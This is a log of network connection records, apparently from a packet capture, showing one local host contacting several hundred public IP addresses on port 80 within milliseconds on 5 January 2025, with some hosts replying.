Jan 5, 2025 14:26:55.641603947 CET	56958	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:55.641609907 CET	56958	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:55.641609907 CET	56958	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:55.641613007 CET	56958	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:55.641613007 CET	56958	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:55.641619921 CET	56958	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:55.641629934 CET	56958	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:55.641629934 CET	56958	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:55.641644001 CET	56958	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:55.641644001 CET	56958	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:55.641647100 CET	56958	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:55.641648054 CET	56958	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:55.641648054 CET	56958	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:55.641648054 CET	56958	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:55.641649961 CET	56958	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:55.641649961 CET	56958	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:55.641675949 CET	56958	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:55.641675949 CET	56958	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:55.641685963 CET	56958	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:55.641685963 CET	56958	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:55.641685963 CET	56958	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:55.641685963 CET	56958	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:55.641685963 CET	56958	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:55.641691923 CET	56958	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:55.641702890 CET	56958	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:55.641705036 CET	56958	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:55.641702890 CET	56958	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:55.641702890 CET	56958	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:55.641707897 CET	56958	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:55.641710997 CET	56958	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:55.641716003 CET	56958	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:55.641716003 CET	56958	80	192.168.2.13	176.172.251.125
Jan 5, 2025 14:26:55.641721010 CET	56958	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:55.641721964 CET	56958	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:55.641721964 CET	56958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:55.641736984 CET	56958	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:55.641736984 CET	56958	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:55.641738892 CET	56958	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:55.641741991 CET	56958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:55.641746998 CET	56958	80	192.168.2.13	139.122.190.32
Jan 5, 2025 14:26:55.641762018 CET	56958	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:55.641767025 CET	56958	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:55.641769886 CET	56958	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:55.641772032 CET	56958	80	192.168.2.13	119.187.9.237
Jan 5, 2025 14:26:55.641772032 CET	56958	80	192.168.2.13	216.192.183.76
Jan 5, 2025 14:26:55.641777039 CET	56958	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:55.641777039 CET	56958	80	192.168.2.13	158.122.187.165
Jan 5, 2025 14:26:55.641788960 CET	56958	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:55.641788960 CET	56958	80	192.168.2.13	63.10.28.175
Jan 5, 2025 14:26:55.641788960 CET	56958	80	192.168.2.13	143.226.147.117
Jan 5, 2025 14:26:55.641789913 CET	56958	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:55.641792059 CET	56958	80	192.168.2.13	154.143.100.24
Jan 5, 2025 14:26:55.641792059 CET	56958	80	192.168.2.13	108.135.76.215
Jan 5, 2025 14:26:55.641793013 CET	56958	80	192.168.2.13	196.33.60.124
Jan 5, 2025 14:26:55.641793013 CET	56958	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:55.641794920 CET	56958	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:55.641794920 CET	56958	80	192.168.2.13	104.225.203.3
Jan 5, 2025 14:26:55.641796112 CET	56958	80	192.168.2.13	216.65.99.84
Jan 5, 2025 14:26:55.641794920 CET	56958	80	192.168.2.13	125.37.158.195
Jan 5, 2025 14:26:55.641815901 CET	56958	80	192.168.2.13	133.24.74.203
Jan 5, 2025 14:26:55.641815901 CET	56958	80	192.168.2.13	184.70.160.254
Jan 5, 2025 14:26:55.641819954 CET	56958	80	192.168.2.13	166.187.77.214
Jan 5, 2025 14:26:55.641819954 CET	56958	80	192.168.2.13	139.252.118.247
Jan 5, 2025 14:26:55.641819954 CET	56958	80	192.168.2.13	192.38.223.1
Jan 5, 2025 14:26:55.641827106 CET	56958	80	192.168.2.13	165.168.111.74
Jan 5, 2025 14:26:55.641827106 CET	56958	80	192.168.2.13	124.72.203.219
Jan 5, 2025 14:26:55.641829014 CET	56958	80	192.168.2.13	5.83.118.174
Jan 5, 2025 14:26:55.641832113 CET	56958	80	192.168.2.13	142.131.47.181
Jan 5, 2025 14:26:55.641839981 CET	56958	80	192.168.2.13	178.116.56.216
Jan 5, 2025 14:26:55.641854048 CET	56958	80	192.168.2.13	157.35.93.69
Jan 5, 2025 14:26:55.641854048 CET	56958	80	192.168.2.13	179.182.176.80
Jan 5, 2025 14:26:55.641854048 CET	56958	80	192.168.2.13	198.138.131.237
Jan 5, 2025 14:26:55.641861916 CET	56958	80	192.168.2.13	204.182.0.45
Jan 5, 2025 14:26:55.641875029 CET	56958	80	192.168.2.13	187.192.146.5
Jan 5, 2025 14:26:55.641880989 CET	56958	80	192.168.2.13	167.183.178.81
Jan 5, 2025 14:26:55.641885042 CET	56958	80	192.168.2.13	130.53.146.53
Jan 5, 2025 14:26:55.641885042 CET	56958	80	192.168.2.13	67.53.203.131
Jan 5, 2025 14:26:55.641885996 CET	56958	80	192.168.2.13	162.158.10.119
Jan 5, 2025 14:26:55.641885996 CET	56958	80	192.168.2.13	156.82.62.188
Jan 5, 2025 14:26:55.641895056 CET	56958	80	192.168.2.13	168.95.252.200
Jan 5, 2025 14:26:55.641897917 CET	56958	80	192.168.2.13	96.39.67.54
Jan 5, 2025 14:26:55.641900063 CET	56958	80	192.168.2.13	151.21.163.68
Jan 5, 2025 14:26:55.641911983 CET	56958	80	192.168.2.13	85.96.188.56
Jan 5, 2025 14:26:55.641915083 CET	56958	80	192.168.2.13	4.246.194.149
Jan 5, 2025 14:26:55.641916037 CET	56958	80	192.168.2.13	36.161.98.162
Jan 5, 2025 14:26:55.641916037 CET	56958	80	192.168.2.13	212.224.14.76
Jan 5, 2025 14:26:55.641916037 CET	56958	80	192.168.2.13	12.99.88.234
Jan 5, 2025 14:26:55.641925097 CET	56958	80	192.168.2.13	132.137.43.151
Jan 5, 2025 14:26:55.641928911 CET	56958	80	192.168.2.13	80.49.199.78
Jan 5, 2025 14:26:55.641928911 CET	56958	80	192.168.2.13	206.207.66.45
Jan 5, 2025 14:26:55.641932011 CET	56958	80	192.168.2.13	121.73.96.213
Jan 5, 2025 14:26:55.641940117 CET	56958	80	192.168.2.13	211.245.148.200
Jan 5, 2025 14:26:55.641942024 CET	56958	80	192.168.2.13	57.16.38.147
Jan 5, 2025 14:26:55.641942024 CET	56958	80	192.168.2.13	171.159.18.2
Jan 5, 2025 14:26:55.641942024 CET	56958	80	192.168.2.13	49.178.73.250
Jan 5, 2025 14:26:55.641942978 CET	56958	80	192.168.2.13	71.150.159.47
Jan 5, 2025 14:26:55.641947031 CET	56958	80	192.168.2.13	151.163.116.80
Jan 5, 2025 14:26:55.641949892 CET	56958	80	192.168.2.13	4.225.148.221
Jan 5, 2025 14:26:55.641949892 CET	56958	80	192.168.2.13	17.113.182.93
Jan 5, 2025 14:26:55.641949892 CET	56958	80	192.168.2.13	105.77.41.152
Jan 5, 2025 14:26:55.641949892 CET	56958	80	192.168.2.13	118.234.114.133
Jan 5, 2025 14:26:55.641966105 CET	56958	80	192.168.2.13	203.246.237.50
Jan 5, 2025 14:26:55.641967058 CET	56958	80	192.168.2.13	100.10.120.143
Jan 5, 2025 14:26:55.641971111 CET	56958	80	192.168.2.13	18.8.92.151
Jan 5, 2025 14:26:55.641972065 CET	56958	80	192.168.2.13	109.122.32.113
Jan 5, 2025 14:26:55.641993046 CET	56958	80	192.168.2.13	199.226.14.238
Jan 5, 2025 14:26:55.641993999 CET	56958	80	192.168.2.13	125.125.115.201
Jan 5, 2025 14:26:55.641998053 CET	56958	80	192.168.2.13	67.184.62.253
Jan 5, 2025 14:26:55.641998053 CET	56958	80	192.168.2.13	145.148.162.37
Jan 5, 2025 14:26:55.641998053 CET	56958	80	192.168.2.13	162.25.231.39
Jan 5, 2025 14:26:55.641999960 CET	56958	80	192.168.2.13	52.97.143.61
Jan 5, 2025 14:26:55.641999960 CET	56958	80	192.168.2.13	36.0.69.176
Jan 5, 2025 14:26:55.642004967 CET	56958	80	192.168.2.13	220.190.117.43
Jan 5, 2025 14:26:55.642004967 CET	56958	80	192.168.2.13	68.201.162.172
Jan 5, 2025 14:26:55.642007113 CET	56958	80	192.168.2.13	96.22.227.37
Jan 5, 2025 14:26:55.642020941 CET	56958	80	192.168.2.13	102.100.43.192
Jan 5, 2025 14:26:55.642024040 CET	56958	80	192.168.2.13	132.28.249.239
Jan 5, 2025 14:26:55.642026901 CET	56958	80	192.168.2.13	49.67.8.231
Jan 5, 2025 14:26:55.642040014 CET	56958	80	192.168.2.13	176.175.144.226
Jan 5, 2025 14:26:55.642043114 CET	56958	80	192.168.2.13	75.49.246.197
Jan 5, 2025 14:26:55.642045021 CET	56958	80	192.168.2.13	84.46.116.101
Jan 5, 2025 14:26:55.642045975 CET	56958	80	192.168.2.13	109.205.90.71
Jan 5, 2025 14:26:55.642045021 CET	56958	80	192.168.2.13	48.109.6.81
Jan 5, 2025 14:26:55.642050028 CET	56958	80	192.168.2.13	142.117.40.151
Jan 5, 2025 14:26:55.642071962 CET	56958	80	192.168.2.13	212.234.220.61
Jan 5, 2025 14:26:55.642071962 CET	56958	80	192.168.2.13	159.20.172.109
Jan 5, 2025 14:26:55.642076015 CET	56958	80	192.168.2.13	53.102.24.153
Jan 5, 2025 14:26:55.642076015 CET	56958	80	192.168.2.13	155.144.71.168
Jan 5, 2025 14:26:55.642076015 CET	56958	80	192.168.2.13	13.141.32.97
Jan 5, 2025 14:26:55.642076969 CET	56958	80	192.168.2.13	66.17.63.9
Jan 5, 2025 14:26:55.642077923 CET	56958	80	192.168.2.13	158.82.159.141
Jan 5, 2025 14:26:55.642080069 CET	56958	80	192.168.2.13	17.44.128.96
Jan 5, 2025 14:26:55.642083883 CET	56958	80	192.168.2.13	44.177.99.212
Jan 5, 2025 14:26:55.642085075 CET	56958	80	192.168.2.13	59.1.156.171
Jan 5, 2025 14:26:55.642092943 CET	56958	80	192.168.2.13	223.38.45.81
Jan 5, 2025 14:26:55.642096996 CET	56958	80	192.168.2.13	165.232.131.58
Jan 5, 2025 14:26:55.642096996 CET	56958	80	192.168.2.13	41.91.128.93
Jan 5, 2025 14:26:55.642098904 CET	56958	80	192.168.2.13	197.33.139.1
Jan 5, 2025 14:26:55.642101049 CET	56958	80	192.168.2.13	207.103.201.184
Jan 5, 2025 14:26:55.642101049 CET	56958	80	192.168.2.13	161.170.251.180
Jan 5, 2025 14:26:55.642101049 CET	56958	80	192.168.2.13	198.140.102.0
Jan 5, 2025 14:26:55.642103910 CET	56958	80	192.168.2.13	103.75.127.123
Jan 5, 2025 14:26:55.642103910 CET	56958	80	192.168.2.13	131.89.55.234
Jan 5, 2025 14:26:55.642107964 CET	56958	80	192.168.2.13	160.127.51.96
Jan 5, 2025 14:26:55.642121077 CET	56958	80	192.168.2.13	112.180.17.171
Jan 5, 2025 14:26:55.642121077 CET	56958	80	192.168.2.13	118.123.162.255
Jan 5, 2025 14:26:55.642123938 CET	56958	80	192.168.2.13	32.189.44.61
Jan 5, 2025 14:26:55.642123938 CET	56958	80	192.168.2.13	206.24.227.76
Jan 5, 2025 14:26:55.642141104 CET	56958	80	192.168.2.13	82.41.187.87
Jan 5, 2025 14:26:55.642147064 CET	56958	80	192.168.2.13	41.155.132.109
Jan 5, 2025 14:26:55.642149925 CET	56958	80	192.168.2.13	139.225.133.242
Jan 5, 2025 14:26:55.642154932 CET	56958	80	192.168.2.13	181.127.140.170
Jan 5, 2025 14:26:55.642157078 CET	56958	80	192.168.2.13	113.106.107.134
Jan 5, 2025 14:26:55.642157078 CET	56958	80	192.168.2.13	44.109.94.107
Jan 5, 2025 14:26:55.642157078 CET	56958	80	192.168.2.13	110.190.147.214
Jan 5, 2025 14:26:55.642170906 CET	56958	80	192.168.2.13	117.219.38.37
Jan 5, 2025 14:26:55.642174959 CET	56958	80	192.168.2.13	152.153.57.165
Jan 5, 2025 14:26:55.642175913 CET	56958	80	192.168.2.13	188.19.159.148
Jan 5, 2025 14:26:55.642178059 CET	56958	80	192.168.2.13	207.253.247.196
Jan 5, 2025 14:26:55.642183065 CET	56958	80	192.168.2.13	126.51.229.208
Jan 5, 2025 14:26:55.642187119 CET	56958	80	192.168.2.13	39.171.93.186
Jan 5, 2025 14:26:55.642198086 CET	56958	80	192.168.2.13	171.45.146.54
Jan 5, 2025 14:26:55.642210007 CET	56958	80	192.168.2.13	36.3.133.34
Jan 5, 2025 14:26:55.642211914 CET	56958	80	192.168.2.13	14.181.187.45
Jan 5, 2025 14:26:55.642211914 CET	56958	80	192.168.2.13	45.212.207.175
Jan 5, 2025 14:26:55.642215014 CET	56958	80	192.168.2.13	106.64.218.233
Jan 5, 2025 14:26:55.642216921 CET	56958	80	192.168.2.13	119.90.49.130
Jan 5, 2025 14:26:55.642221928 CET	56958	80	192.168.2.13	193.187.166.65
Jan 5, 2025 14:26:55.642227888 CET	56958	80	192.168.2.13	201.87.69.61
Jan 5, 2025 14:26:55.642230988 CET	56958	80	192.168.2.13	168.230.160.195
Jan 5, 2025 14:26:55.642235994 CET	56958	80	192.168.2.13	5.108.116.223
Jan 5, 2025 14:26:55.642239094 CET	56958	80	192.168.2.13	53.207.115.236
Jan 5, 2025 14:26:55.642245054 CET	56958	80	192.168.2.13	74.136.246.47
Jan 5, 2025 14:26:55.642258883 CET	56958	80	192.168.2.13	191.220.146.199
Jan 5, 2025 14:26:55.642258883 CET	56958	80	192.168.2.13	95.100.34.180
Jan 5, 2025 14:26:55.642258883 CET	56958	80	192.168.2.13	110.94.186.118
Jan 5, 2025 14:26:55.642260075 CET	56958	80	192.168.2.13	201.228.142.249
Jan 5, 2025 14:26:55.642260075 CET	56958	80	192.168.2.13	64.222.0.237
Jan 5, 2025 14:26:55.642266989 CET	56958	80	192.168.2.13	100.32.38.48
Jan 5, 2025 14:26:55.642271996 CET	56958	80	192.168.2.13	200.139.67.83
Jan 5, 2025 14:26:55.642271996 CET	56958	80	192.168.2.13	23.193.201.255
Jan 5, 2025 14:26:55.642271996 CET	56958	80	192.168.2.13	161.224.149.22
Jan 5, 2025 14:26:55.642272949 CET	56958	80	192.168.2.13	165.92.7.16
Jan 5, 2025 14:26:55.642272949 CET	56958	80	192.168.2.13	199.173.58.59
Jan 5, 2025 14:26:55.642273903 CET	56958	80	192.168.2.13	42.131.198.4
Jan 5, 2025 14:26:55.642278910 CET	56958	80	192.168.2.13	163.171.43.156
Jan 5, 2025 14:26:55.642280102 CET	56958	80	192.168.2.13	136.52.53.36
Jan 5, 2025 14:26:55.642280102 CET	56958	80	192.168.2.13	58.130.178.27
Jan 5, 2025 14:26:55.642286062 CET	56958	80	192.168.2.13	175.32.21.77
Jan 5, 2025 14:26:55.642287016 CET	56958	80	192.168.2.13	119.86.116.245
Jan 5, 2025 14:26:55.642287970 CET	56958	80	192.168.2.13	129.161.84.21
Jan 5, 2025 14:26:55.642287970 CET	56958	80	192.168.2.13	13.165.143.106
Jan 5, 2025 14:26:55.642287970 CET	56958	80	192.168.2.13	102.231.46.81
Jan 5, 2025 14:26:55.642287970 CET	56958	80	192.168.2.13	175.27.214.217
Jan 5, 2025 14:26:55.642293930 CET	56958	80	192.168.2.13	193.199.122.144
Jan 5, 2025 14:26:55.642297029 CET	56958	80	192.168.2.13	147.187.233.30
Jan 5, 2025 14:26:55.642301083 CET	56958	80	192.168.2.13	162.229.171.118
Jan 5, 2025 14:26:55.642301083 CET	56958	80	192.168.2.13	54.76.78.192
Jan 5, 2025 14:26:55.642302036 CET	56958	80	192.168.2.13	217.250.140.186
Jan 5, 2025 14:26:55.642302036 CET	56958	80	192.168.2.13	199.129.81.40
Jan 5, 2025 14:26:55.642307997 CET	56958	80	192.168.2.13	98.130.103.40
Jan 5, 2025 14:26:55.642307997 CET	56958	80	192.168.2.13	167.67.170.109
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	173.43.38.183
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	62.137.254.75
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	101.156.77.221
Jan 5, 2025 14:26:55.642309904 CET	56958	80	192.168.2.13	167.95.193.48
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	129.237.34.5
Jan 5, 2025 14:26:55.642309904 CET	56958	80	192.168.2.13	169.11.155.135
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	75.208.166.166
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	124.63.93.252
Jan 5, 2025 14:26:55.642308950 CET	56958	80	192.168.2.13	206.235.186.42
Jan 5, 2025 14:26:55.642316103 CET	56958	80	192.168.2.13	211.14.1.122
Jan 5, 2025 14:26:55.642316103 CET	56958	80	192.168.2.13	45.247.202.126
Jan 5, 2025 14:26:55.642319918 CET	56958	80	192.168.2.13	82.8.15.143
Jan 5, 2025 14:26:55.642323017 CET	56958	80	192.168.2.13	113.113.32.246
Jan 5, 2025 14:26:55.642330885 CET	56958	80	192.168.2.13	47.229.149.110
Jan 5, 2025 14:26:55.642338991 CET	56958	80	192.168.2.13	208.110.248.140
Jan 5, 2025 14:26:55.642339945 CET	56958	80	192.168.2.13	180.117.99.242
Jan 5, 2025 14:26:55.642345905 CET	56958	80	192.168.2.13	135.15.129.218
Jan 5, 2025 14:26:55.642348051 CET	56958	80	192.168.2.13	54.7.124.123
Jan 5, 2025 14:26:55.642354965 CET	56958	80	192.168.2.13	64.246.223.242
Jan 5, 2025 14:26:55.642366886 CET	56958	80	192.168.2.13	137.64.184.158
Jan 5, 2025 14:26:55.642369986 CET	56958	80	192.168.2.13	54.146.19.130
Jan 5, 2025 14:26:55.642374992 CET	56958	80	192.168.2.13	155.195.215.218
Jan 5, 2025 14:26:55.642376900 CET	56958	80	192.168.2.13	162.68.30.226
Jan 5, 2025 14:26:55.642379045 CET	56958	80	192.168.2.13	196.236.39.223
Jan 5, 2025 14:26:55.642381907 CET	56958	80	192.168.2.13	65.233.152.160
Jan 5, 2025 14:26:55.642381907 CET	56958	80	192.168.2.13	121.11.252.74
Jan 5, 2025 14:26:55.642399073 CET	56958	80	192.168.2.13	48.20.209.71
Jan 5, 2025 14:26:55.642405987 CET	56958	80	192.168.2.13	89.102.68.236
Jan 5, 2025 14:26:55.642414093 CET	56958	80	192.168.2.13	90.135.120.78
Jan 5, 2025 14:26:55.642415047 CET	56958	80	192.168.2.13	20.227.237.22
Jan 5, 2025 14:26:55.642415047 CET	56958	80	192.168.2.13	25.193.173.151
Jan 5, 2025 14:26:55.642427921 CET	56958	80	192.168.2.13	180.212.158.157
Jan 5, 2025 14:26:55.642432928 CET	56958	80	192.168.2.13	65.157.180.147
Jan 5, 2025 14:26:55.642438889 CET	56958	80	192.168.2.13	78.170.107.129
Jan 5, 2025 14:26:55.642438889 CET	56958	80	192.168.2.13	216.42.254.17
Jan 5, 2025 14:26:55.642441034 CET	56958	80	192.168.2.13	172.42.227.193
Jan 5, 2025 14:26:55.642441988 CET	56958	80	192.168.2.13	140.130.211.248
Jan 5, 2025 14:26:55.642446041 CET	56958	80	192.168.2.13	45.234.248.190
Jan 5, 2025 14:26:55.642446995 CET	56958	80	192.168.2.13	12.221.150.133
Jan 5, 2025 14:26:55.642447948 CET	56958	80	192.168.2.13	41.158.63.77
Jan 5, 2025 14:26:55.642450094 CET	56958	80	192.168.2.13	133.218.16.48
Jan 5, 2025 14:26:55.642453909 CET	56958	80	192.168.2.13	19.188.52.184
Jan 5, 2025 14:26:55.642453909 CET	56958	80	192.168.2.13	197.1.108.77
Jan 5, 2025 14:26:55.642458916 CET	56958	80	192.168.2.13	184.156.101.16
Jan 5, 2025 14:26:55.642462969 CET	56958	80	192.168.2.13	153.105.47.66
Jan 5, 2025 14:26:55.642463923 CET	56958	80	192.168.2.13	141.198.223.55
Jan 5, 2025 14:26:55.642463923 CET	56958	80	192.168.2.13	203.155.70.146
Jan 5, 2025 14:26:55.642476082 CET	56958	80	192.168.2.13	45.131.98.65
Jan 5, 2025 14:26:55.642476082 CET	56958	80	192.168.2.13	166.1.154.35
Jan 5, 2025 14:26:55.642476082 CET	56958	80	192.168.2.13	134.9.98.135
Jan 5, 2025 14:26:55.642477989 CET	56958	80	192.168.2.13	223.158.171.184
Jan 5, 2025 14:26:55.642477989 CET	56958	80	192.168.2.13	196.151.6.91
Jan 5, 2025 14:26:55.642477989 CET	56958	80	192.168.2.13	98.161.38.153
Jan 5, 2025 14:26:55.642478943 CET	56958	80	192.168.2.13	46.206.182.140
Jan 5, 2025 14:26:55.642477989 CET	56958	80	192.168.2.13	75.96.66.11
Jan 5, 2025 14:26:55.642483950 CET	56958	80	192.168.2.13	192.225.208.138
Jan 5, 2025 14:26:55.642488003 CET	56958	80	192.168.2.13	102.94.103.91
Jan 5, 2025 14:26:55.642488003 CET	56958	80	192.168.2.13	123.156.197.109
Jan 5, 2025 14:26:55.642488956 CET	56958	80	192.168.2.13	98.9.223.97
Jan 5, 2025 14:26:55.642489910 CET	56958	80	192.168.2.13	81.84.72.2
Jan 5, 2025 14:26:55.642491102 CET	56958	80	192.168.2.13	101.15.40.64
Jan 5, 2025 14:26:55.642493010 CET	56958	80	192.168.2.13	221.124.207.55
Jan 5, 2025 14:26:55.642493010 CET	56958	80	192.168.2.13	158.128.128.175
Jan 5, 2025 14:26:55.642499924 CET	56958	80	192.168.2.13	9.47.93.55
Jan 5, 2025 14:26:55.642501116 CET	56958	80	192.168.2.13	103.200.226.75
Jan 5, 2025 14:26:55.642502069 CET	56958	80	192.168.2.13	107.95.217.88
Jan 5, 2025 14:26:55.642502069 CET	56958	80	192.168.2.13	104.53.178.27
Jan 5, 2025 14:26:55.642499924 CET	56958	80	192.168.2.13	128.160.100.61
Jan 5, 2025 14:26:55.642509937 CET	56958	80	192.168.2.13	161.194.169.156
Jan 5, 2025 14:26:55.642509937 CET	56958	80	192.168.2.13	99.52.82.62
Jan 5, 2025 14:26:55.642512083 CET	56958	80	192.168.2.13	167.92.191.117
Jan 5, 2025 14:26:55.642512083 CET	56958	80	192.168.2.13	59.132.98.44
Jan 5, 2025 14:26:55.642512083 CET	56958	80	192.168.2.13	132.28.149.82
Jan 5, 2025 14:26:55.642512083 CET	56958	80	192.168.2.13	132.173.128.126
Jan 5, 2025 14:26:55.642514944 CET	56958	80	192.168.2.13	183.250.96.250
Jan 5, 2025 14:26:55.642515898 CET	56958	80	192.168.2.13	104.29.106.193
Jan 5, 2025 14:26:55.642515898 CET	56958	80	192.168.2.13	118.69.199.190
Jan 5, 2025 14:26:55.642522097 CET	56958	80	192.168.2.13	164.86.137.187
Jan 5, 2025 14:26:55.642525911 CET	56958	80	192.168.2.13	189.31.254.86
Jan 5, 2025 14:26:55.642525911 CET	56958	80	192.168.2.13	36.189.94.180
Jan 5, 2025 14:26:55.642525911 CET	56958	80	192.168.2.13	82.253.87.126
Jan 5, 2025 14:26:55.642528057 CET	56958	80	192.168.2.13	156.245.195.245
Jan 5, 2025 14:26:55.642529011 CET	56958	80	192.168.2.13	120.106.158.92
Jan 5, 2025 14:26:55.642529011 CET	56958	80	192.168.2.13	133.234.174.60
Jan 5, 2025 14:26:55.642537117 CET	56958	80	192.168.2.13	146.225.127.93
Jan 5, 2025 14:26:55.642538071 CET	56958	80	192.168.2.13	151.234.253.122
Jan 5, 2025 14:26:55.642538071 CET	56958	80	192.168.2.13	208.37.75.233
Jan 5, 2025 14:26:55.642539024 CET	56958	80	192.168.2.13	98.79.242.153
Jan 5, 2025 14:26:55.642543077 CET	56958	80	192.168.2.13	72.144.158.105
Jan 5, 2025 14:26:55.642543077 CET	56958	80	192.168.2.13	211.43.179.222
Jan 5, 2025 14:26:55.642544031 CET	56958	80	192.168.2.13	134.62.20.244
Jan 5, 2025 14:26:55.642544031 CET	56958	80	192.168.2.13	44.91.66.172
Jan 5, 2025 14:26:55.642544985 CET	56958	80	192.168.2.13	177.237.228.178
Jan 5, 2025 14:26:55.642549038 CET	56958	80	192.168.2.13	204.244.60.28
Jan 5, 2025 14:26:55.642554045 CET	56958	80	192.168.2.13	180.17.100.24
Jan 5, 2025 14:26:55.642554998 CET	56958	80	192.168.2.13	218.156.38.72
Jan 5, 2025 14:26:55.642554998 CET	56958	80	192.168.2.13	61.156.2.21
Jan 5, 2025 14:26:55.646836042 CET	80	56958	184.39.176.49	192.168.2.13
Jan 5, 2025 14:26:55.646847963 CET	80	56958	49.185.194.134	192.168.2.13
Jan 5, 2025 14:26:55.646857977 CET	80	56958	54.151.72.99	192.168.2.13
Jan 5, 2025 14:26:55.646867990 CET	80	56958	132.108.249.151	192.168.2.13
Jan 5, 2025 14:26:55.646872997 CET	56958	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:55.646879911 CET	80	56958	46.224.56.104	192.168.2.13
Jan 5, 2025 14:26:55.646879911 CET	56958	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:55.646879911 CET	56958	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:55.646888018 CET	80	56958	32.164.191.231	192.168.2.13
Jan 5, 2025 14:26:55.646893024 CET	80	56958	187.178.160.113	192.168.2.13
Jan 5, 2025 14:26:55.646900892 CET	80	56958	121.155.195.73	192.168.2.13
Jan 5, 2025 14:26:55.646903038 CET	56958	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:55.646908998 CET	80	56958	64.50.196.133	192.168.2.13
Jan 5, 2025 14:26:55.646918058 CET	80	56958	97.124.195.81	192.168.2.13
Jan 5, 2025 14:26:55.646917105 CET	56958	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:55.646922112 CET	56958	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:55.646925926 CET	80	56958	128.250.180.34	192.168.2.13
Jan 5, 2025 14:26:55.646925926 CET	56958	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:55.646929026 CET	56958	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:55.646934986 CET	80	56958	40.133.17.244	192.168.2.13
Jan 5, 2025 14:26:55.646945000 CET	80	56958	44.162.94.163	192.168.2.13
Jan 5, 2025 14:26:55.646945953 CET	56958	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:55.646946907 CET	56958	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:55.646949053 CET	56958	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:55.646954060 CET	80	56958	169.194.176.114	192.168.2.13
Jan 5, 2025 14:26:55.646965981 CET	80	56958	90.185.103.33	192.168.2.13
Jan 5, 2025 14:26:55.646974087 CET	56958	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:55.646974087 CET	56958	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:55.646975994 CET	80	56958	198.38.240.51	192.168.2.13
Jan 5, 2025 14:26:55.646984100 CET	80	56958	14.81.236.190	192.168.2.13
Jan 5, 2025 14:26:55.646982908 CET	56958	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:55.646992922 CET	80	56958	110.169.6.176	192.168.2.13
Jan 5, 2025 14:26:55.646996975 CET	80	56958	37.168.163.42	192.168.2.13
Jan 5, 2025 14:26:55.646996975 CET	56958	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:55.647000074 CET	80	56958	160.232.8.64	192.168.2.13
Jan 5, 2025 14:26:55.647008896 CET	56958	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:55.647011995 CET	80	56958	160.12.31.23	192.168.2.13
Jan 5, 2025 14:26:55.647018909 CET	80	56958	165.4.191.158	192.168.2.13
Jan 5, 2025 14:26:55.647022963 CET	80	56958	90.250.128.19	192.168.2.13
Jan 5, 2025 14:26:55.647026062 CET	56958	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:55.647027969 CET	80	56958	172.114.95.204	192.168.2.13
